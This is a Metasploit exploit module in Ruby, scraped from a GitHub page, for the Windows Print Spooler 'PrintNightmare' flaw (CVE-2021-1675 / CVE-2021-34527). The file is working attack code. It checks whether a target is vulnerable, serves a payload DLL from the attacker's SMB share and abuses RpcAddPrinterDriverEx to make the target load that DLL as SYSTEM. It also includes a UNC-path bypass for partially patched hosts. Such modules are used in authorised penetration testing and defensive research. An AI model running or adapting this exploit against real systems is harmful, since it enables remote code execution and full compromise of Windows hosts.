Path: blob/master/modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb
67742 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'windows_error'6require 'ruby_smb'7require 'ruby_smb/error'89class MetasploitModule < Msf::Exploit::Remote1011prepend Msf::Exploit::Remote::AutoCheck12include Msf::Exploit::Remote::DCERPC13include Msf::Exploit::Remote::SMB::Client::Authenticated14include Msf::Exploit::Remote::SMB::Server::Share15include Msf::Exploit::Retry16include Msf::Exploit::EXE17include Msf::Exploit::Deprecated1819moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare'2021PrintSystem = RubySMB::Dcerpc::PrintSystem2223def initialize(info = {})24super(25update_info(26info,27'Name' => 'Print Spooler Remote DLL Injection',28'Description' => %q{29The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted30DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN31vector which requires the Print Spooler service to be running.32},33'Author' => [34'Zhiniang Peng', # vulnerability discovery / research35'Xuefeng Li', # vulnerability discovery / research36'Zhipeng Huo', # vulnerability discovery37'Piotr Madej', # vulnerability discovery38'Zhang Yunhai', # vulnerability discovery39'cube0x0', # PoC40'Spencer McIntyre', # metasploit module41'Christophe De La Fuente', # metasploit module co-author42],43'License' => MSF_LICENSE,44'DefaultOptions' => {45'SRVHOST' => Rex::Socket.source_address46},47'Stance' => Msf::Exploit::Stance::Aggressive,48'Targets' => [49[50'Windows', {51'Platform' => 'win',52'Arch' => [ ARCH_X64, ARCH_X86 ]53},54],55],56'DisclosureDate' => '2021-06-08',57'References' => [58['CVE', '2021-1675'],59['CVE', '2021-34527'],60['URL', 'https://github.com/cube0x0/CVE-2021-1675'],61['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'],62['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],63['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream'],64['ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES]65],66'Notes' => {67'AKA' => [ 'PrintNightmare' ],68'Stability' => [CRASH_SERVICE_DOWN],69'Reliability' => [UNRELIABLE_SESSION],70'SideEffects' => [71ARTIFACTS_ON_DISK # the dll will be copied to the remote server72]73}74)75)7677register_advanced_options(78[79OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ])80]81)82deregister_options('AutoCheck')83end8485def check86begin87connect(backend: :ruby_smb)88rescue Rex::ConnectionError89return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')90end9192begin93smb_login94rescue Rex::Proto::SMB::Exceptions::LoginError95return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')96end9798begin99dcerpc_bind_spoolss100rescue RubySMB::Error::UnexpectedStatusCode => e101nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first102if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND103print_error("The 'Print Spooler' service is disabled.")104end105return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")106end107108@target_arch = dcerpc_getarch109# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43110if @target_arch == ARCH_X64111@environment = 'Windows x64'112elsif @target_arch == ARCH_X86113@environment = 'Windows NT x86'114else115return Exploit::CheckCode::Detected('Successfully bound to the remote service.')116end117118print_status("Target environment: Windows v#{simple.client.os_version} (#{@target_arch})")119120print_status('Enumerating the installed printer drivers...')121drivers = enum_printer_drivers(@environment)122@driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL"123vprint_status("Using driver path: #{@driver_path}")124125print_status('Retrieving the path of the printer driver directory...')126@config_directory = get_printer_driver_directory(@environment)127vprint_status("Using driver directory: #{@config_directory}") unless @config_directory.nil?128129container = driver_container(130p_config_file: 'C:\\Windows\\System32\\kernel32.dll',131p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"132)133134case add_printer_driver_ex(container)135when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code136return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')137when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND138return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')139when ::WindowsError::Win32::ERROR_BAD_NET_NAME140return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')141when ::WindowsError::Win32::ERROR_ACCESS_DENIED142return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')143end144145Exploit::CheckCode::Detected('Successfully bound to the remote service.')146end147148def run149fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64150fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?151fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?152153super154end155156def start_service157file_name << '.dll'158self.file_contents = generate_payload_dll159160super161end162163def primer164dll_path = unc165if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/166# targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass167# otherwise the operation will fail with ERROR_INVALID_PARAMETER168dll_path = "\\??\\UNC\\#{Regexp.last_match(1)}\\#{Regexp.last_match(2)}"169end170vprint_status("Using DLL path: #{dll_path}")171172filename = dll_path.rpartition('\\').last173container = driver_container(p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: dll_path)1741753.times do176add_printer_driver_ex(container)177end1781791.upto(3) do |directory|180container.driver_info.p_config_file.assign("#{@config_directory}\\3\\old\\#{directory}\\#{filename}")181break if add_printer_driver_ex(container).nil?182end183184cleanup_service185end186187def driver_container(**kwargs)188PrintSystem::DriverContainer.new(189level: 2,190tag: 2,191driver_info: PrintSystem::DriverInfo2.new(192c_version: 3,193p_name_ref_id: 0x00020000,194p_environment_ref_id: 0x00020004,195p_driver_path_ref_id: 0x00020008,196p_data_file_ref_id: 0x0002000c,197p_config_file_ref_id: 0x00020010,198# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913199p_name: "#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}",200p_environment: @environment,201p_driver_path: @driver_path,202**kwargs203)204)205end206207def dcerpc_bind_spoolss208handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\spoolss'])209vprint_status("Binding to #{handle} ...")210dcerpc_bind(handle)211vprint_status("Bound to #{handle} ...")212end213214def enum_printer_drivers(environment)215response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)216response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)217fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length218DriverInfo2.read(response.p_drivers.map(&:chr).join)219end220221def get_printer_driver_directory(environment)222response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)223response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)224fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length225RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')226end227228def add_printer_driver_ex(container)229flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES230231begin232response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)233rescue RubySMB::Error::UnexpectedStatusCode => e234nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first235message = "Error #{nt_status.name} (#{nt_status.description})"236if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN237# STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected238print_status('The named pipe connection was broken, reconnecting...')239reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do240dcerpc_bind_spoolss241rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e242false243else244true245end246247unless reconnected248vprint_status('Failed to reconnect to the named pipe.')249return nil250end251252print_status('Successfully reconnected to the named pipe.')253retry254else255print_error(message)256end257258return nt_status259end260261error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first262message = "RpcAddPrinterDriverEx response #{response.error_status}"263message << " #{error.name} (#{error.description})" unless error.nil?264vprint_status(message)265error266end267268def rprn_call(name, **kwargs)269request = PrintSystem.const_get("#{name}Request").new(**kwargs)270271begin272raw_response = dcerpc.call(request.opnum, request.to_binary_s)273rescue Rex::Proto::DCERPC::Exceptions::Fault => e274fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).")275end276277PrintSystem.const_get("#{name}Response").read(raw_response)278end279280class DriverInfo2Header < BinData::Record281endian :little282283uint32 :c_version284uint32 :name_offset285uint32 :environment_offset286uint32 :driver_path_offset287uint32 :data_file_offset288uint32 :config_file_offset289end290291# this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2292# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030293DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do294def self.read(data)295header = DriverInfo2Header.read(data)296new(297header,298RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),299RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),300RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),301RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),302RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')303)304end305end306end307308309